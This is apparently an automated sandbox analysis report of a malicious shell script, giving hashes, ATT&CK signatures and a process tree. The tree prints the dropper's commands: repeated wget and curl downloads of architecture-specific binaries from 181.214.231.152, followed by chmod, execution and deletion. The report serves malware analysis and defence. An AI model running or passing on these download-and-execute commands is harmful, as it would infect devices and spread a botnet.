fb45854603eea4572f84b65b7777d42d5b55bfd8e171481315708c5a0e170996

Analysis

max time kernel
9s
max time network
10s
platform
debian-9_armhf
resource
debian9-armhf-20240729-en
resource tags

arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
22/11/2024, 12:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
fb45854603eea4572f84b65b7777d42d5b55bfd8e171481315708c5a0e170996.sh
Size 3KB
Sample241122-pj4b2swpbr
SHA256 fb45854603eea4572f84b65b7777d42d5b55bfd8e171481315708c5a0e170996
MD5 69a578e84ce6624b1df771ab4b0f113b
SHA1 c54c210cbcaa4167ea417f984d4760382ec2ca5c
SHA512 3b8470d7c2eadc98fdd47a617d5dd88dfe5c02069fe5ceb0192058af6c6eb0b5439dbbc2beb60f3b58727cf8b575a73b4d3180ec7732d811a643f9f4ffb2d558
MD5 SHA1 SHA512

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
658	chmod
682	chmod
696	chmod
735	chmod
672	chmod
701	chmod
744	chmod
689	chmod
712	chmod
762	chmod
773	chmod
707	chmod
723	chmod
752	chmod

Checks CPU configuration 1 TTPs 7 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 14 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 27 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
706	wget
711	curl
715	rm
694	rm
695	wget
699	rm
714	sh
717	rm
704	rm
708	mips64
709	sh
713	mips64
697	mips
736	mipsel
705	rm
719	wget
728	curl
702	mips
727	rm
738	rm
725	mipsel
726	sh
737	sh
698	sh
710	rm
700	curl
703	sh

/tmp/fb45854603eea4572f84b65b7777d42d5b55bfd8e171481315708c5a0e170996.sh
/tmp/fb45854603eea4572f84b65b7777d42d5b55bfd8e171481315708c5a0e170996.sh
1⤵
PID:645
- /bin/rm
  rm -rf x86_64
  2⤵
  PID:646
- /usr/bin/wget
  wget http://181.214.231.152/Simps/x86_64
  2⤵
  PID:652
- /bin/chmod
  chmod +x x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:658
- /tmp/x86_64
  ./x86_64 x86_64
  2⤵
  PID:661
- /bin/sh
  sh x86_64 x86_64
  2⤵
  PID:662
- /bin/rm
  rm -rf x86_64
  2⤵
  PID:663
- /usr/bin/curl
  curl -O http://181.214.231.152/Simps/x86_64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:665
- /bin/chmod
  chmod +x x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:672
- /tmp/x86_64
  ./x86_64 x86_64
  2⤵
  PID:674
- /bin/sh
  sh x86_64 x86_64
  2⤵
  PID:675
- /bin/rm
  rm -rf x86_64
  2⤵
  PID:677
- /bin/rm
  rm -rf i586
  2⤵
  PID:678
- /usr/bin/wget
  wget http://181.214.231.152/Simps/i586
  2⤵
  PID:679
- /bin/chmod
  chmod +x i586
  2⤵
  - File and Directory Permissions Modification
  PID:682
- /tmp/i586
  ./i586 i586
  2⤵
  PID:684
- /bin/sh
  sh i586 i586
  2⤵
  PID:685
- /bin/rm
  rm -rf i586
  2⤵
  PID:686
- /usr/bin/curl
  curl -O http://181.214.231.152/Simps/i586
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:687
- /bin/chmod
  chmod +x i586
  2⤵
  - File and Directory Permissions Modification
  PID:689
- /tmp/i586
  ./i586 i586
  2⤵
  PID:691
- /bin/sh
  sh i586 i586
  2⤵
  PID:692
- /bin/rm
  rm -rf i586
  2⤵
  PID:693
- /bin/rm
  rm -rf mips
  2⤵
  - System Network Configuration Discovery
  PID:694
- /usr/bin/wget
  wget http://181.214.231.152/Simps/mips
  2⤵
  - System Network Configuration Discovery
  PID:695
- /bin/chmod
  chmod +x mips
  2⤵
  - File and Directory Permissions Modification
  PID:696
- /tmp/mips
  ./mips mips
  2⤵
  - System Network Configuration Discovery
  PID:697
- /bin/sh
  sh mips mips
  2⤵
  - System Network Configuration Discovery
  PID:698
- /bin/rm
  rm -rf mips
  2⤵
  - System Network Configuration Discovery
  PID:699
- /usr/bin/curl
  curl -O http://181.214.231.152/Simps/mips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:700
- /bin/chmod
  chmod +x mips
  2⤵
  - File and Directory Permissions Modification
  PID:701
- /tmp/mips
  ./mips mips
  2⤵
  - System Network Configuration Discovery
  PID:702
- /bin/sh
  sh mips mips
  2⤵
  - System Network Configuration Discovery
  PID:703
- /bin/rm
  rm -rf mips
  2⤵
  - System Network Configuration Discovery
  PID:704
- /bin/rm
  rm -rf mips64
  2⤵
  - System Network Configuration Discovery
  PID:705
- /usr/bin/wget
  wget http://181.214.231.152/Simps/mips64
  2⤵
  - System Network Configuration Discovery
  PID:706
- /bin/chmod
  chmod +x mips64
  2⤵
  - File and Directory Permissions Modification
  PID:707
- /tmp/mips64
  ./mips64 mips64
  2⤵
  - System Network Configuration Discovery
  PID:708
- /bin/sh
  sh mips64 mips64
  2⤵
  - System Network Configuration Discovery
  PID:709
- /bin/rm
  rm -rf mips64
  2⤵
  - System Network Configuration Discovery
  PID:710
- /usr/bin/curl
  curl -O http://181.214.231.152/Simps/mips64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:711
- /bin/chmod
  chmod +x mips64
  2⤵
  - File and Directory Permissions Modification
  PID:712
- /tmp/mips64
  ./mips64 mips64
  2⤵
  - System Network Configuration Discovery
  PID:713
- /bin/sh
  sh mips64 mips64
  2⤵
  - System Network Configuration Discovery
  PID:714
- /bin/rm
  rm -rf mips64
  2⤵
  - System Network Configuration Discovery
  PID:715
- /bin/rm
  rm -rf mipsel
  2⤵
  - System Network Configuration Discovery
  PID:717
- /usr/bin/wget
  wget http://181.214.231.152/Simps/mipsel
  2⤵
  - System Network Configuration Discovery
  PID:719
- /bin/chmod
  chmod +x mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:723
- /tmp/mipsel
  ./mipsel mipsel
  2⤵
  - System Network Configuration Discovery
  PID:725
- /bin/sh
  sh mipsel mipsel
  2⤵
  - System Network Configuration Discovery
  PID:726
- /bin/rm
  rm -rf mipsel
  2⤵
  - System Network Configuration Discovery
  PID:727
- /usr/bin/curl
  curl -O http://181.214.231.152/Simps/mipsel
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:728
- /bin/chmod
  chmod +x mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:735
- /tmp/mipsel
  ./mipsel mipsel
  2⤵
  - System Network Configuration Discovery
  PID:736
- /bin/sh
  sh mipsel mipsel
  2⤵
  - System Network Configuration Discovery
  PID:737
- /bin/rm
  rm -rf mipsel
  2⤵
  - System Network Configuration Discovery
  PID:738
- /bin/rm
  rm -rf armv4l
  2⤵
  PID:740
- /usr/bin/wget
  wget http://181.214.231.152/Simps/armv4l
  2⤵
  PID:741
- /bin/chmod
  chmod +x armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /tmp/armv4l
  ./armv4l armv4l
  2⤵
  PID:746
- /bin/sh
  sh armv4l armv4l
  2⤵
  PID:747
- /bin/rm
  rm -rf armv4l
  2⤵
  PID:748
- /usr/bin/curl
  curl -O http://181.214.231.152/Simps/armv4l
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:749
- /bin/chmod
  chmod +x armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:752
- /tmp/armv4l
  ./armv4l armv4l
  2⤵
  PID:754
- /bin/sh
  sh armv4l armv4l
  2⤵
  PID:755
- /bin/rm
  rm -rf armv4l
  2⤵
  PID:756
- /bin/rm
  rm -rf armv5l
  2⤵
  PID:758
- /usr/bin/wget
  wget http://181.214.231.152/Simps/armv5l
  2⤵
  PID:760
- /bin/chmod
  chmod +x armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:762
- /tmp/armv5l
  ./armv5l armv5l
  2⤵
  PID:764
- /bin/sh
  sh armv5l armv5l
  2⤵
  PID:765
- /bin/rm
  rm -rf armv5l
  2⤵
  PID:767
- /usr/bin/curl
  curl -O http://181.214.231.152/Simps/armv5l
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:769
- /bin/chmod
  chmod +x armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:773
- /tmp/armv5l
  ./armv5l armv5l
  2⤵
  PID:774
- /bin/sh
  sh armv5l armv5l
  2⤵
  PID:775
- /bin/rm
  rm -rf armv5l
  2⤵
  PID:776
- /bin/rm
  rm -rf armv6l
  2⤵
  PID:778
- /usr/bin/wget
  wget http://181.214.231.152/Simps/armv6l
  2⤵
  PID:779

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads